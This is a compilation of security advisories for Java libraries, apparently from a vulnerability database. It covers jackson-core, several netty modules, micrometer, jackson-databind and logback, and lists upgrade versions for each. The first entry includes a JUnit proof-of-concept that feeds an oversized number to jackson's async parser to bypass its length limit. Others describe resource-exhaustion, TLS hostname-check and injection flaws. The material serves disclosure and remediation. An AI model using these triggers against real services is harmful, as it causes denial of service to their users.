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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.8, 2.21.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• NVD

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http2Decompressor.decompress. An attacker can exhaust direct memory and cause the JVM to crash by sending crafted HTTP/2 DATA frames to applications that have HTTP/2 content decompression enabled via DelegatingDecompressorFrameListener.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http3FrameCodec. An attacker can exhaust system memory by sending multiple QUIC streams with reserved frames specifying excessively large payload lengths.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch through the OpenSSL client path in ReferenceCountedOpenSslClientContext and related OpenSSL SSL context handling. An attacker can present a certificate for a different hostname and have the connection accepted by a client using SslProvider.OPENSSL with a plain X509TrustManager. When hostname verification is requested on that OpenSSL client path, the connection proceeds without enforcing the peer hostname check, allowing man-in-the-middle interception of TLS traffic. This affects applications that rely on Netty’s OpenSSL provider for outbound TLS connections and leaves users exposed to impersonation and data disclosure.

Remediation

Upgrade io.netty:netty-handler to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit netty-4.1.137.Final
• GitHub Commit netty-4.2.17.Final
• Maintainer's Advisory

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information due to the setVaryHeader method in codec-http/src/main/java/io/netty/handler/codec/http/cors/CorsHandler.java. An attacker can retrieve another user’s cached sensitive response by sending a cross-origin request that causes CorsHandler to overwrite an application’s existing Vary header, such as Vary: Authorization or Vary: Cookie, with Vary: Origin. Because shared caches and CDNs key the response on the reduced Vary set, user-specific responses can be cached and served to unauthorized clients. This can expose authenticated content or other sensitive data to other application users.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to CRLF Injection through DatadogStatsdLineBuilder, EtsyStatsdLineBuilder, and the Printer in LoggingMeterRegistry. An attacker can spoof metrics or log entries by supplying meter names, tag keys, or tag values containing \n or \r, causing the generated StatsD or log output to break into additional lines.

Notes

• Additional fixes are available for earlier versions under Enterprise Support (see the Spring Security Advisory for additional details)

Remediation

Upgrade io.micrometer:micrometer-core to version 1.16.7, 1.17.1 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Expression Injection in the Janino-evaluated condition attribute of <if> configuration elements, handled by IfModelHandler, whose denylist blocked only the literal new operator. A user who can modify the logback configuration can execute arbitrary code by writing an <if> condition that evades that denylist, either through references it did not cover such as Runtime or springframework, or through Unicode escape sequences like \u that reconstruct the blocked new operator. Exploitation requires write access to the logback configuration and the use of conditional <if> processing with Janino present on the classpath.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.36 or higher.

References

• GitHub Commit
• GitHub Commit
• Release Notes